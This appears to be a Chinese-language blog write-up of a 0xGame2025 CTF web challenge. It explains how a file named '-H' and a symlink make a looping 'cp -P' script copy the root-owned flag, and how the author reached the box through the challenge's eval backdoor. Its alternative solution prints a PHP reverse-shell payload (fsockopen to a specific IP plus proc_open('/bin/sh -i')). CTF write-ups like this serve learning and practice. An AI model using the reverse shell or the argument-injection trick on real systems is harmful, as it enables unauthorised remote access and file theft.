0xGame2025-Web-Week3-放开我的变量 做题杂谈以及另一种解法

本文最后更新于 2026年4月17日 晚上

开题

首先这道题肯定已经被刷爆了,所以就来谈谈个人做题感想

按照常规做ctf题规,肯定扫了一遍目录后就知道是robots.txt造成的目录泄露了

随后,看到题目中的后门中能直接连上蚁剑,看到根目录有flag文件,但是打开是空的,所以故认为是提权漏洞

但不得不多说一句,这道题目打反弹shell的话应该也是做的出来的(毕竟给了eval代码端口)

回到正题,先看看start.sh:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/marstream/
chmod 755 -R /var/www/html/marstream/
sleep 5s

done &

exec apache2-foreground

这边关于-P有几点前置知识:(来源于:0xGame-2025 | tiran’s blog

cp指令参数

选项 名称/含义 对命令行参数中的符号链接 对目录内部的符号链接 备注
-P 不跟随 (Preserve link) 复制链接本身 复制链接本身 通常是默认行为
-H 仅命令行跟随 复制链接指向的目标 复制链接本身 只对直接列出的源起作用
-L 总是跟随 (Follow link) 复制链接指向的目标 复制链接指向的目标 -P 行为完全相反

这里代码意思大概是要移动至/var/www/html/primary文件,在这个文件里面存在cp提权漏洞
原理大概是:
-P 意味着将文件名当作命令行选项执行,包括我们后面需要用到的-***的文件复制漏洞

我们后面就是要通过在此的侧通道权限绕过:

先在primary文件夹里面创建一个空文件:-H

随后写入/flag导出链接:

最后回到marstream文件夹里面,发现刚刚写的Flag文件,找到flag:

后记和另一种解法

这道题主要考查的是cp越权漏洞,重在我们拿flag的方式,传统的tac,whoami等提权指令不起作用

所以我们只能换个思路:

还是先试试我的反弹shell吧:

先传

1
system("which nc");

回显:

1
sh: 1: nc: not found

所以不难发现,本题目内的服务器没有-e,所以只能换种bash自带的方法:

1
$s=fsockopen("你的IP",4444);fwrite($s,"hello\n");

这边测试了一下最简单的探针回显hello,成功:

然后构造payload通过php的回调函数连接上webshell:

1
$s=fsockopen("107.148.174.76",11451);proc_open("/bin/sh -i", [0=>$s,1=>$s,2=>$s], $pipes);

随后操作就跟蚁剑一样了

这使我了解到:反弹shell只是能从一个正常的端口弹出那些本无回显的文本,并不能说是一种”提权手段“

所以,该提权的还是老老实实去提权吧。。。


0xGame2025-Web-Week3-放开我的变量 做题杂谈以及另一种解法
https://azumisaki.github.io/2026/03/19/放开我的变量/
作者
AzumiSaki
发布于
2026年3月19日
许可协议